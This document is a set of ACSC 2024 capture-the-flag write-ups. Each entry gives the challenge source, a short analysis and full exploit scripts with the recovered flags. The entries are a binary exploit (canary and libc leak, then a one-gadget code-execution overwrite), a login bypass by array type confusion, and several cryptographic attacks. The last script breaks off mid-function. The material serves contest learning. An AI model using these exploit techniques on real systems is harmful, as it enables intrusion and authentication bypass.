pwn
rot13
#include <stdio.h>
#include <string.h>
#define ROT13_TABLE \
"\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f" \
"\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f" \
"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f" \
"\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f" \
"\x40\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x41\x42" \
"\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x5b\x5c\x5d\x5e\x5f" \
"\x60\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x61\x62" \
"\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x7b\x7c\x7d\x7e\x7f" \
"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f" \
"\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f" \
"\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf" \
"\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf" \
"\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf" \
"\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf" \
"\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef" \
"\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
void rot13(const char *table, char *buf) {
printf("Result: ");
for (size_t i = 0; i < strlen(buf); i++)
putchar(table[buf[i]]);
putchar('\n');
}
int main() {
const char table[0x100] = ROT13_TABLE;
char buf[0x100];
setbuf(stdin, NULL);
setbuf(stdout, NULL);
while (1) {
printf("Text: ");
memset(buf, 0, sizeof(buf));
if (scanf("%[^\n]%*c", buf) != 1)
return 0;
rot13(table, buf);
}
return 0;
}
char type is signed by default, implying buf[i] can be negative if buf[i] & 0x80 != 0
Therefore, we can leak information from stack frame by putchar(table[buf[i]])
By debugging, I found out that stdout, canary, SFP, RET can be leaked.
We can calculate PIE base from RET, and libc base from stdout.
With one_gadget, I was able to find the gadget suitable for one-gadget RCE.
exploit code
from pwn import *
import os
#r = process("./rot13")
r = remote("rot13.chal.2024.ctf.acsc.asia", "9999")
def f(x):
r.sendlineafter(b': ', x)
return r.recvline()[8:-1]
def g(a, b):
return f(bytes(0x100 + i for i in range(a, b)))
stdout = u64(g(-0x68, -0x60))
canary = g(-0x18, -0x10)
sfp = g(-0x10, -0x8)
ret = u64(g(-0x8, 0x0))
pie_base = ret - 0x158D
libc_base = stdout - 0x21b780
one_shot = libc_base + 0xebd43
print(hex(pie_base))
print(hex(libc_base))
payload = b'A' * 0x108 + canary + sfp + p64(one_shot)
f(payload)
r.sendlineafter(b': ', b'')
#ACSC{aRr4y_1nd3X_sh0uLd_b3_uNs1Gn3d}
r.interactive()
r.close()
web
Login!
const express = require('express');
const crypto = require('crypto');
const FLAG = process.env.FLAG || 'flag{this_is_a_fake_flag}';
const app = express();
app.use(express.urlencoded({ extended: true }));
const USER_DB = {
user: {
username: 'user',
password: crypto.randomBytes(32).toString('hex')
},
guest: {
username: 'guest',
password: 'guest'
}
};
app.get('/', (req, res) => {
res.send(`
<html><head><title>Login</title><link rel="stylesheet" href="https://cdn.simplecss.org/simple.min.css"></head>
<body>
<section>
<h1>Login</h1>
<form action="/login" method="post">
<input type="text" name="username" placeholder="Username" length="6" required>
<input type="password" name="password" placeholder="Password" required>
<button type="submit">Login</button>
</form>
</section>
</body></html>
`);
});
app.post('/login', (req, res) => {
const { username, password } = req.body;
if (username.length > 6) return res.send('Username is too long');
const user = USER_DB[username];
if (user && user.password == password) {
if (username === 'guest') {
res.send('Welcome, guest. You do not have permission to view the flag');
} else {
res.send(`Welcome, ${username}. Here is your flag: ${FLAG}`);
}
} else {
res.send('Invalid username or password');
}
});
app.listen(5000, () => {
console.log('Server is running on port 5000');
});
If username is ['guest']
USER_DB[username]is{username: 'guest', password: 'guest'}username === 'guest'isfalse
exploit code
import requests
url = 'http://login-web.chal.2024.ctf.acsc.asia:5000/login'
data = {
'username[]': 'guest', # username = ['guest']
'password': 'guest'
}
response = requests.post(url, data=data)
print(response.content)
# ACSC{y3t_an0th3r_l0gin_byp4ss}
crypto
RSA Stream2
from Crypto.Util.number import getPrime
import random
import re
p = getPrime(512)
q = getPrime(512)
e = 65537
n = p * q
d = pow(e, -1, (p - 1) * (q - 1))
m = random.randrange(2, n)
c = pow(m, e, n)
text = open(__file__, "rb").read()
ciphertext = []
for b in text:
o = 0
for i in range(8):
bit = ((b >> i) & 1) ^ (pow(c, d, n) % 2)
c = pow(2, e, n) * c % n
o |= bit << i
ciphertext.append(o)
open("chal.py.enc", "wb").write(bytes(ciphertext))
redacted = re.sub("flag = \"ACSC{(.*)}\"", "flag = \"ACSC{*REDACTED*}\"", text.decode())
open("chal_redacted.py", "w").write(redacted)
print("n =", n)
# flag = "ACSC{*REDACTED*}"
Let m = pow(c, d, n)
pow(c, d, n) % 2equalsm % 2c = pow(2, e, n) * c % nequalsm = 2 * m % n
Since we know LSB of $2^xm \pmod{n}$, we can apply the LSB oracle attack.
exploit code
from Crypto.Util.number import getPrime
from fractions import Fraction
e = 65537
n = 106362501554841064194577568116396970220283331737204934476094342453631371019436358690202478515939055516494154100515877207971106228571414627683384402398675083671402934728618597363851077199115947762311354572964575991772382483212319128505930401921511379458337207325937798266018097816644148971496405740419848020747
# RSA LSB oracle attack
ciphertext = open("chal.py.enc", "rb").read()
chal = open("chal_redacted.py", "rb").read()
c = bytes([x ^ y for x, y in zip(ciphertext[:650], chal[:650])]) # first 650 bytes from chal.py and chal_redacted.py are same.
d = int.from_bytes(c, 'little')
t = 1
m = Fraction(0, 1)
while d:
d >>= 1
t <<= 1
if d & 1:
m += Fraction(n, t)
m = m.__round__()
# decrypt
c = pow(m, e, n)
text = open("chal.py.enc", "rb").read()
ciphertext = []
for b in text:
o = 0
for i in range(8):
bit = ((b >> i) & 1) ^ (m % 2)
m = 2 * m % n
o |= bit << i
ciphertext.append(o)
print(bytes(ciphertext).decode()) # print chal.py
# ACSC{RSA_is_not_for_the_stream_cipher_bau_bau}
strongest OAEP
from Crypto.Cipher import PKCS1_OAEP
from Crypto.PublicKey import RSA
from Crypto.Util.number import *
import os
flag = b"ACSC{___REDACTED___}"
def strongest_mask(seed, l):
return b"\x01"*l
def strongest_random(l):
x = bytes_to_long(os.urandom(1)) & 0b1111
return long_to_bytes(x) + b"\x00"*(l-1)
f = open("strongest_OAEP.txt","w")
key = RSA.generate(2048,e=13337)
c_buf = -1
for a in range(2):
OAEP_cipher = PKCS1_OAEP.new(key=key,randfunc=strongest_random,mgfunc=strongest_mask)
while True:
c = OAEP_cipher.encrypt(flag)
num_c = bytes_to_long(c)
if c_buf == -1:
c_buf = num_c
else:
if c_buf == num_c:continue
break
f.write("c: %d\n" % num_c)
f.write("e: %d\n" % key.e)
f.write("n: %d\n" % key.n)
OAEP_cipher = PKCS1_OAEP.new(key=key,randfunc=strongest_random,mgfunc=strongest_mask)
dec = OAEP_cipher.decrypt(c)
assert dec == flag
# wow, e is growing!
d = pow(31337,-1,(key.p-1)*(key.q-1))
key = RSA.construct( ((key.p * key.q), 31337, d) )
PKCS1_OAEP.new(key=key,randfunc=strongest_random,mgfunc=strongest_mask)
- The first byte of the seed ranges from 0 to 15; the others are zero.
- Every byte of the mask is 1.
- For each loop, maskedDB are same.
- Only the first byte of the maskedseeds can be different.
Let two ciphertexts are $c_1$, $c_2$, and first byte of seeds are $s_1$, $s_2$.
Then, $x$ exists such that $(x + 2^{2032}s_1)^{13337} \equiv c_1 \pmod{n}$, and $(x + 2^{2032}s_2)^{31337} \equiv c_2 \pmod{n}$
Thus, $x$ exists such that $x^{13337} \equiv c_1 \pmod{n}$, and $(x + 2^{2032}(s_2 - s_1))^{31337} \equiv c_2 \pmod{n}$
Since $s_1$ and $s_2$ are range from 0 to 15, $s_2 - s_1$ ranges from -15 to 15
By calculating GCD of two polynomials, a common root can be found if those two polynomials have a common factor.
exploit code
with open("strongest_OAEP.txt", "r") as f:
c1 = int(f.readline()[3:])
e1 = int(f.readline()[3:])
n1 = int(f.readline()[3:])
c2 = int(f.readline()[3:])
e2 = int(f.readline()[3:])
n2 = int(f.readline()[3:])
assert n1 == n2
n = n1
P.<x> = PolynomialRing(Zmod(n))
c1, c2 = map(Zmod(n), (c1, c2))
from tqdm import trange
for k in trange(-15, 16):
f1 = (x + k * 2^2032)^e1 - c1
f2 = x^e2 - c2
while f2 != 0:
f1, f2 = f2, f1 % f2
if f1.degree() == 1: # if two polynomials have a common factor
break
print(f1)
m = ZZ(-f1.monic()[0])
m = int(m).to_bytes(256, 'big')
m = bytes([_ ^^ 1 for _ in m])
print(m)
# ACSC{O4EP_+_broken_M6F_+_broken_PRN6_=_Textbook_RSA_30f068a6b0db16ab7aa42c85be174e6854630d254f54dbc398e725a10ce09ac7}
oblivion
import random
from hashlib import sha512
from base64 import b64encode, b64decode
import signal
n = 64
n_bytes = n // 8 # 8
l = 128
l_bytes = l // 8 # 16
F2n.<ε> = GF(2**n)
def bytes2bits(b):
return list(map(int, "".join([format(x, "08b") for x in b])))
def bits2bytes(b):
return bytes([int("".join(map(str, b[i:i+8])), 2) for i in range(0, len(b), 8)])
def xor(a, b):
return bytes([x ^^ y for x, y in zip(a, b)])
def transpose(M):
T = [[0] * len(M) for _ in range(len(M[0]))]
for i in range(len(M)):
for j in range(len(M[0])):
T[j][i] = M[i][j]
return T
def recv_bytes(msg, n=0):
return b64decode(input(msg)[:2 * n]).ljust(n, b"\x00")
class PRNG:
def __init__(self):
self.hasher = sha512(random.randbytes(32))
self.pending = b""
def randbytes(self, nbytes):
while len(self.pending) < nbytes:
self.hasher.update(random.randbytes(8))
self.pending += self.hasher.digest()
self.pending, out = self.pending[nbytes:], self.pending[:nbytes]
return out
class S:
def __init__(self, delta, t_delta) -> None:
self.delta = delta
self.t_delta = t_delta
def compute_q(self, u):
self.q = transpose([
bytes2bits(xor(ti, ui) if bi else ti)
for ti, ui, bi in zip(self.t_delta, u, self.delta)
])
def check(self, chi, x_, t_):
q_ = sum([F2n(qi) * xi for qi, xi in zip(self.q, chi)])
return q_ == t_ + x_ * F2n(self.delta)
def chall():
prng = PRNG()
t0 = [prng.randbytes(l_bytes) for _ in range(n)] # 128bit, 16bytes ,64개.
t1 = [prng.randbytes(l_bytes) for _ in range(n)]
print("t0 = ", b64encode(b"".join(t0)).decode())
print("t1 = ", b64encode(b"".join(t1)).decode())
ts = [t0, t1]
delta_bytes = random.randbytes(n_bytes) #64bit, 8bytes
delta = bytes2bits(delta_bytes)
t_delta = [ts[b][i] for i, b in enumerate(delta)]
S_ = S(delta, t_delta)
def handler(signum, frame):
print("Timeout")
exit(0)
signal.signal(signal.SIGALRM, handler)
signal.alarm(180)
for _ in range(100):
try:
u = recv_bytes("u = ", n * l_bytes)
u = [u[i: i + l_bytes] for i in range(0, len(u), l_bytes)]
S_.compute_q(u)
chi = [prng.randbytes(n_bytes) for _ in range(l)]
print(f"chi = {b64encode(b''.join(chi)).decode()}")
chi = [F2n(bytes2bits(xi)) for xi in chi]
x_ = F2n(bytes2bits(recv_bytes("x_ = ", n_bytes)))
t_ = F2n(bytes2bits(recv_bytes("t_ = ", n_bytes)))
if not S_.check(chi, x_, t_):
raise Exception(":pekowide:")
option = input(">>> ")
if option == "1":
guess = recv_bytes("What's my secret? ", n_bytes)
if guess == delta_bytes:
flag = open("flag.txt").read()
print("Good job! Here's your flag: ", flag)
else:
break
elif option == "2":
continue
else:
break
except Exception as e:
print(e)
continue
chall()
class S
__init__(self, delta, t_delta)delta: 64 bitst_delta: 64 x 128 bits
compute_q(self, u):u: 64 x 128 bits- if
delta[i],t_delta[i] ^= u[i] - After the loop ends, transpose.
q: 128 x 64 bits
check(self, chi, x_, t_)chi: $GF(2^{64})$ vector with length 128- Change each row of
qto $GF(2^{64})$ - return
q * chi == t_ + x_ * F2n(self.delta)
- S_
t_delta = [ts[b][i] for i, b in enumerate(delta)]- If
u = t0 ^ t1, thenS_.qequals transpose oft0- if
delta[i],t_delta[i]equalst1[i] ^ u - else,
t_delta[i]equalst0[i] - if
u = t0 ^ t1, thent1[i] ^ uequalst0[i] - If
u[i] != t0[i] ^t1[i]for only i = t,S_.q != transpose(t0)implysdelta[i]is 1
- if
For expected S_.q, we can make x_, t_ such that S_.q * chi == t_ + x_ * F2n(self.delta)
By corrupting ith row of u, delta[i] = S_.check(chi, x_, t_)
exploit code
from pwn import *
from hashlib import sha512
from base64 import b64encode, b64decode
n = 64
n_bytes = n // 8 # 8
l = 128
l_bytes = l // 8 # 16
F2n.<ε> = GF(2**n)
def bytes2bits(b):
return list(map(int, "".join([format(x, "08b") for x in b])))
def bits2bytes(b):
return bytes([int("".join(map(str, b[i:i+8])), 2) for i in range(0, len(b), 8)])
def transpose(M):
T = [[0] * len(M) for _ in range(len(M[0]))]
for i in range(len(M)):
for j in range(len(M[0])):
T[j][i] = M[i][j]
return T
#r = process(["sage", "chall.sage"])
r = remote("oblivion.chal.2024.ctf.acsc.asia", "1234")
t0 = b64decode(r.recvline()[6:-1])
t1 = b64decode(r.recvline()[6:-1])
q = [bytes2bits(t0[i:i + l_bytes]) for i in range(0, l_bytes * n, l_bytes)]
q = transpose(q)
x = b'\x00' * n_bytes
secret = []
from tqdm import trange
for i in trange(64):
u = xor(t0, t1)
#print(u)
u = u[:i * l_bytes] + b'\x00' * l_bytes +u[i * l_bytes + l_bytes:]
r.sendlineafter(b'u = ', b64encode(u))
chi = b64decode(r.recvline()[6:-1])
chi = [chi[i: i + n_bytes] for i in range(0, n_bytes * l, n_bytes)]
chi = [F2n(bytes2bits(xi)) for xi in chi]
r.sendlineafter(b'x_ = ', b64encode(x))
t = sum([F2n(qi) * xi for qi, xi in zip(q, chi)])
t_ = t.integer_representation()
t = 0
for j in range(n):
t <<= 1
t |= t_ & 1
t_ >>= 1
t = int(t).to_bytes(n_bytes, 'big')
r.sendlineafter(b't_ = ', b64encode(t))
if r.recv(1) == b'>':
if i!=63:
r.sendlineafter(b'> ', b'2')
secret.append(0)
else:
secret.append(1)
secret = bits2bytes(secret)
print(b64encode(secret))
r.interactive() # ACSC{Beware_0f_the_L3aky_4borts_OwO}
r.close()
Jenga
Let's initially ignore the first Jenga.hori, as it is invertible.
For the plaintext array defined as [bytes([k] + [0] * 8) for k in range(0x100)],
the cumulative XOR of 256 states remains zero up until the execution of Jenga.sbox operation in the fourth round.
Following this operation, the encryption process involves Jenga.sbox, Jenga.hori, and another Jenga.xor,
with the latter two steps being invertible and, therefore, not critical for our analysis at this stage.
We aim to identify a key that ensures the cumulative XOR of 256 states equals zero.
Given that the Jenga.hori permutes every horizontal bytes,
we have the opportunity to systematically brute-force each trio of bytes to identify such a key,
especially considering the post-fourth-round operations
To significantly reduce the time needed for brute-force tasks, we implemented programming with Nvidia CUDA.
This approach allowed us to complete the brute-force process in about two seconds using an RTX 3050 Ti.
exploit code
calc.cu:
#include<iostream>
#include<stdint.h>
__global__
void test(uint8_t *SBOX_inv,uint8_t *gmul_4f,uint8_t *gmul_9e, uint8_t *c, uint32_t *key_stack, uint32_t *stack_len)
{
unsigned int k_idx = (blockIdx.x<<10)|(threadIdx.x);
uint8_t k0, k1, k2, x, y, z;
int i, j;
k0 = k_idx & 0xFF; k_idx >>= 8;
k1 = k_idx & 0xFF; k_idx >>= 8;
k2 = k_idx & 0xFF; k_idx >>= 8;
uint8_t sum[9];
uint8_t ct[9];
for(j = 0 ; j < 9; j++)sum[j] = 0;
for(i = 0 ; i < 0x100; i++)
{
for(j = 0 ; j < 9; j++)ct[j] = c[i * 9 + j];
for(j = 0 ; j < 9; j+=3) // xor
{
ct[j] ^= k0;
ct[j + 1] ^= k1;
ct[j + 2] ^= k2;
}
for(j = 0 ; j < 9; j+=3) // hori_inv
{
x = ct[j];
y = ct[j + 1];
z = ct[j + 2];
ct[j] = gmul_9e[x] ^ gmul_4f[y];
ct[j + 1] = gmul_9e[y] ^ gmul_4f[z];
ct[j + 2] = gmul_9e[z] ^ gmul_4f[x];
}
for(j = 0 ; j < 9; j++)ct[j] = SBOX_inv[ct[j]]; // sbox_inv
for(j = 0 ; j < 9; j++)sum[j] ^= ct[j]; // sum
}
for(j = 0 ; j < 9; j+=3) // check
{
if(sum[j] == 0 && sum[j + 1] == 0 && sum[j + 2] == 0)
{
k_idx = atomicAdd(stack_len, 1);
key_stack[k_idx] <<= 8; key_stack[k_idx] |= k0;
key_stack[k_idx] <<= 8; key_stack[k_idx] |= k1;
key_stack[k_idx] <<= 8; key_stack[k_idx] |= k2;
key_stack[k_idx] <<= 8; key_stack[k_idx] |= j;
}
}
}
uint8_t SBOX_inv_host[0x100] = {
0x52, 0x09, 0x6A, 0xD5, 0x30, 0x36, 0xA5, 0x38, 0xBF, 0x40, 0xA3, 0x9E, 0x81, 0xF3, 0xD7, 0xFB,
0x7C, 0xE3, 0x39, 0x82, 0x9B, 0x2F, 0xFF, 0x87, 0x34, 0x8E, 0x43, 0x44, 0xC4, 0xDE, 0xE9, 0xCB,
0x54, 0x7B, 0x94, 0x32, 0xA6, 0xC2, 0x23, 0x3D, 0xEE, 0x4C, 0x95, 0x0B, 0x42, 0xFA, 0xC3, 0x4E,
0x08, 0x2E, 0xA1, 0x66, 0x28, 0xD9, 0x24, 0xB2, 0x76, 0x5B, 0xA2, 0x49, 0x6D, 0x8B, 0xD1, 0x25,
0x72, 0xF8, 0xF6, 0x64, 0x86, 0x68, 0x98, 0x16, 0xD4, 0xA4, 0x5C, 0xCC, 0x5D, 0x65, 0xB6, 0x92,
0x6C, 0x70, 0x48, 0x50, 0xFD, 0xED, 0xB9, 0xDA, 0x5E, 0x15, 0x46, 0x57, 0xA7, 0x8D, 0x9D, 0x84,
0x90, 0xD8, 0xAB, 0x00, 0x8C, 0xBC, 0xD3, 0x0A, 0xF7, 0xE4, 0x58, 0x05, 0xB8, 0xB3, 0x45, 0x06,
0xD0, 0x2C, 0x1E, 0x8F, 0xCA, 0x3F, 0x0F, 0x02, 0xC1, 0xAF, 0xBD, 0x03, 0x01, 0x13, 0x8A, 0x6B,
0x3A, 0x91, 0x11, 0x41, 0x4F, 0x67, 0xDC, 0xEA, 0x97, 0xF2, 0xCF, 0xCE, 0xF0, 0xB4, 0xE6, 0x73,
0x96, 0xAC, 0x74, 0x22, 0xE7, 0xAD, 0x35, 0x85, 0xE2, 0xF9, 0x37, 0xE8, 0x1C, 0x75, 0xDF, 0x6E,
0x47, 0xF1, 0x1A, 0x71, 0x1D, 0x29, 0xC5, 0x89, 0x6F, 0xB7, 0x62, 0x0E, 0xAA, 0x18, 0xBE, 0x1B,
0xFC, 0x56, 0x3E, 0x4B, 0xC6, 0xD2, 0x79, 0x20, 0x9A, 0xDB, 0xC0, 0xFE, 0x78, 0xCD, 0x5A, 0xF4,
0x1F, 0xDD, 0xA8, 0x33, 0x88, 0x07, 0xC7, 0x31, 0xB1, 0x12, 0x10, 0x59, 0x27, 0x80, 0xEC, 0x5F,
0x60, 0x51, 0x7F, 0xA9, 0x19, 0xB5, 0x4A, 0x0D, 0x2D, 0xE5, 0x7A, 0x9F, 0x93, 0xC9, 0x9C, 0xEF,
0xA0, 0xE0, 0x3B, 0x4D, 0xAE, 0x2A, 0xF5, 0xB0, 0xC8, 0xEB, 0xBB, 0x3C, 0x83, 0x53, 0x99, 0x61,
0x17, 0x2B, 0x04, 0x7E, 0xBA, 0x77, 0xD6, 0x26, 0xE1, 0x69, 0x14, 0x63, 0x55, 0x21, 0x0C, 0x7D
};
uint8_t gmul_4f_host[0x100];
uint8_t gmul_9e_host[0x100];
uint8_t c_host[0x900];
uint32_t key_stack_host[0x100];
uint32_t stack_len_host;
uint8_t gf_mul(uint8_t a, uint8_t b)
{
int v = 0;
for(int i = 0; i < 8; i++)
{
v <<= 1;
if(v & 0x100)
v ^= 0x11b;
if((b >> (7 - i)) & 1)
v ^= a;
}
return v;
}
uint8_t *SBOX_inv, *gmul_4f, *gmul_9e, *c;
uint32_t *key_stack, *stack_len;
int main()
{
cudaMalloc((void**)&SBOX_inv, 0x100);
cudaMemcpy(SBOX_inv, SBOX_inv_host, 0x100, cudaMemcpyHostToDevice);
for(int i = 0; i < 0x100; i++)
{
gmul_4f_host[i] = gf_mul(i, 0x4f);
gmul_9e_host[i] = gf_mul(i, 0x9e);
}
cudaMalloc((void**)&gmul_4f, 0x100);
cudaMemcpy(gmul_4f, gmul_4f_host, 0x100, cudaMemcpyHostToDevice);
cudaMalloc((void**)&gmul_9e, 0x100);
cudaMemcpy(gmul_9e, gmul_9e_host, 0x100, cudaMemcpyHostToDevice);
for(int i=0; i < 0x100; i++)
{
for(int j = 0; j < 9; j++)
{
int x;
std::cin >> x;
c_host[i * 9 + j] = x;
}
}
cudaMalloc((void**)&c, 0x900);
cudaMemcpy(c, c_host, 0x900, cudaMemcpyHostToDevice);
cudaMalloc((void**)&key_stack, 0x400);
cudaMalloc((void**)&stack_len, 4);
test<<<(1<<14),(1<<10)>>>(SBOX_inv, gmul_4f, gmul_9e, c, key_stack, stack_len);
cudaMemcpy(key_stack_host, key_stack, 0x400, cudaMemcpyDeviceToHost);
cudaMemcpy(&stack_len_host, stack_len, 4, cudaMemcpyDeviceToHost);
std::cout << stack_len_host << std::endl;
for(int i = 0; i < stack_len_host ; i++)
{
std::cout << key_stack_host[i] << std::endl;
}
cudaFree(SBOX_inv);
cudaFree(gmul_4f);
cudaFree(gmul_9e);
cudaFree(c);
cudaFree(key_stack);
cudaFree(stack_len);
}
solve.py:
from pwn import *
from Jenga import Jenga, SBOX_inv
import os
def xor(a, b):
return [x ^ y for x, y in zip(a, b)]
base = os.urandom(8)
p = [bytes([i]) + base for i in range(256)]
c = []
cts = []
r = remote("jenga.chal.2024.ctf.acsc.asia", "39425")
from tqdm import trange
for i in trange(256):
real_pt = list(p[i])
Jenga.hori_inv(real_pt)
real_pt = bytes(real_pt)
r.sendline(real_pt.hex().encode())
for i in range(256):
real_ct = r.recvline()[6:-1].decode()
real_ct = bytes.fromhex(real_ct)
ct = list(real_ct)
Jenga.vert_inv(ct)
Jenga.sbox_inv(ct)
c.append(bytes(ct))
calc = process("./calc")
for i in trange(256):
for j in range(9):
calc.sendline(str(c[i][j]).encode())
key_cands = [[], [], []]
key_len = int(calc.recvline())
for i in range(key_len):
k0, k1, k2, j = int(calc.recvline()).to_bytes(4, 'big')
key_cands[j//3].append([k0, k1, k2])
calc.close()
from itertools import product
for key in product(*key_cands):
key = key[0] + key[1] + key[2]
for i in range(9 * 4):
key = [key[7] ^ SBOX_inv[key[8]]] + key
key = bytes(key[:9])
cipher = Jenga(key)
if cipher.encrypt(real_pt) == real_ct:
break
ct = r.recvline()[4:-1].decode()
pt = cipher.decrypt(bytes.fromhex(ct))
r.sendlineafter(b'? ', pt.hex().encode())
r.interactive()
r.close()
Strange Machine, part1
#!/usr/bin/sage
import hashlib
def solve_part1():
...
def solve_part2():
...
solve_part1()
print("PART 1 SOLVED!")
solve_part2()
print("PART 2 SOLVED!")
flag = open("flag.txt", "r").read()
print(flag)
To obtain the flag, both parts of the problem must be successfully solved.
def solve_part1():
SUB_TABLE = set() # contains (a, b, c) such that a - b == c (mod p)
MUL_TABLE = set() # contains (a, b, c) such that a * b == c (mod p)
REGISTERED_EC = set() # contains elliptic curve points in y^2 = x^3 + 7 (mod p)
REGISTERED_X = set() # contains x-coordinates of a elliptic curve point of REGISTERED_EC
bn254 = 21888242871839275222246405745257275088696311157297823662689037894645226208583
p = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEFFFFFC2F
x_start = int(input()) % p
y_start = int(input()) % p
assert (y_start * y_start) % p == (x_start * x_start * x_start + 7) % p
# this target value is the target x-coordinate
target = int.from_bytes(hashlib.sha256(str(x_start).encode() + b"#" + str(y_start).encode()).digest(), "big") % p
# (x_start, y_start) is known to be a valid elliptic curve point
REGISTERED_EC.add((x_start, y_start))
REGISTERED_X.add(x_start)
count = 0
while True:
count += 1
assert count < 20000
whi = int(input())
if whi == 1 or whi == 2:
a = int(input())
b = int(input())
quotient = int(input())
result = int(input())
assert 0 <= a < (1 << 256)
assert 0 <= b < (1 << 256)
assert 0 <= quotient < (1 << 256)
assert 0 <= result < (1 << 256)
if whi == 1:
# add (a, b, result) in SUB_TABLE
assert (a - b + p - quotient * p - result) % bn254 == 0
assert (a - b + p - quotient * p - result) % (1 << 256) == 0
SUB_TABLE.add((a, b, result))
if whi == 2:
# add (a, b, result) in MUL_TABLE
assert (a * b - quotient * p - result) % bn254 == 0
assert (a * b - quotient * p - result) % (1 << 256) == 0
MUL_TABLE.add((a, b, result))
if whi == 3:
# check two points (x1, y1), (x2, y2) are already registered elliptic curve points
# check (x3, y3) = (x1, y1) + (x2, y2) via elliptic curve addition
# valid computation over (mod p) is checked by SUB_TABLE and MUL_TABLE
x1 = int(input())
y1 = int(input())
x2 = int(input())
y2 = int(input())
assert (x1, y1) in REGISTERED_EC # check (x1, y1) is a known valid elliptic curve point
assert (x2, y2) in REGISTERED_EC # check (x2, y2) is a known valid elliptic curve point
lam = int(input())
if x1 == x2 and y1 == y2: # point doubling algorithm
x_sq = int(input())
x_sq_3 = int(input())
y_2 = int(input())
y_2_inv = int(input())
assert (x1, x1, x_sq) in MUL_TABLE # check x_sq = x1^2
assert (x_sq, 3, x_sq_3) in MUL_TABLE # check x_sq_3 = 3 * x1^2
assert (y1, 2, y_2) in MUL_TABLE # check y_2 = 2 * y1
assert (y_2, y_2_inv, 1) in MUL_TABLE # check y_2_inv = 1 / (2 * y1)
assert (x_sq_3, y_2_inv, lam) in MUL_TABLE # check lam = (3 * x1^2) / (2 * y1)
else:
y_diff = int(input())
x_diff = int(input())
x_diff_inv = int(input())
assert (y2, y1, y_diff) in SUB_TABLE # check y_diff = y2 - y1
assert (x2, x1, x_diff) in SUB_TABLE # check x_diff = x2 - x1
assert (x_diff, x_diff_inv, 1) in MUL_TABLE # check x_diff_inv = 1 / (x2 - x1)
assert (y_diff, x_diff_inv, lam) in MUL_TABLE # check lam = (y2 - y1) / (x2 - x1)
lam_sq = int(input())
lam_sq_minus_x1 = int(input())
x_final = int(input())
x1_minus_x_final = int(input())
lam_mul_x1_minus_x_final = int(input())
y_final = int(input())
assert (lam, lam, lam_sq) in MUL_TABLE # check lam_sq = lam^2
assert (lam_sq, x1, lam_sq_minus_x1) in SUB_TABLE # check lam_sq_minus_x1 = lam^2 - x1
assert (lam_sq_minus_x1, x2, x_final) in SUB_TABLE # check x_final = lam^2 - x1 - x2
assert (x1, x_final, x1_minus_x_final) in SUB_TABLE # check x1_minus_x_final = x1 - x_final
assert (lam, x1_minus_x_final, lam_mul_x1_minus_x_final) in MUL_TABLE # check lam_mul_x1_minus_x_final = lam * (x1 - x_final)
assert (lam_mul_x1_minus_x_final, y1, y_final) in SUB_TABLE # check y_final = lam * (x1 - x_final) - y1
REGISTERED_EC.add((x_final, y_final)) # add (x_final, y_final) to REGISTERED_EC
REGISTERED_X.add(x_final) # add x_final to REGISTERED_X
if whi == 4:
break
assert target in REGISTERED_X # end with the target x-coordinate in REGISTERED_X
- Initial setup phase
SUB_TABLE: Set, a-b=cMUL_TABLE: Set, a*b=cREGISTERED_EC: Set, y^2 = x^3 + 7 (Secp256k1)REGISTERED_X: Set, x-coordinates ofREGISTERED_ECbn254,p: The prime numbers for bn254 and Secp256k1, respectively
- Input
x_start,y_start(x_start, y_start)must be a point on Secp256k1
targetequals sha256 value off'{x_start}#{y_start}'- Add the point and its x-coordinate to
REGISTERED_ECandREGISTERED_X, respectively - Now, loop for up to 20000 times, inputting
whiduring each loop.- case 1
- If
(a - b + p - (quotient * p + result)) % (bn254 << 256) == 0- add
(a, b, result)toSUB_TABLE
- add
- If
- case 2
- If
(a * b - (quotient * p + result)) % (bn254 << 256) == 0- add
(a, b, result)toMUL_TABLE
- add
- It is possible to choose a, b, quotient, result such that
(a * b - result) % p != 0
- If
- case 3
- (x1, y1), (x2, y2) are in
REGISTERED_EC - Use input lam for point addition
- Check each parameters are in
SUB_TABLE,MUL_TABLE
- (x1, y1), (x2, y2) are in
- case 1
In the case whi = 2, strategically input strange values to lead to the desired point.
To control to the desired value, it might be easier to move onto y^2 = x^3.
I used point $(x, y)$ which $y^2 \equiv x^3+7 \pmod{p}$ and $(y+k)^2 \equiv x^3 \pmod{p}$
exploit code
from pwn import *
import hashlib
#r = process(["sage", "task.sage"])
r = remote("strange-machine.chal.2024.ctf.acsc.asia", "17777")
bn254 = 21888242871839275222246405745257275088696311157297823662689037894645226208583
p = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEFFFFFC2F
def inp(nums):
for num in nums:
r.sendline(str(num).encode())
def SUB_auto(a, b):
k = a - b + p
SUB(a, b, k // p, k % p)
def MUL_auto(a, b, fix = 0):
k = a * b + fix * bn254 * 2^256
MUL(a, b, k // p, k % p)
def SUB(a, b, quotient, result):
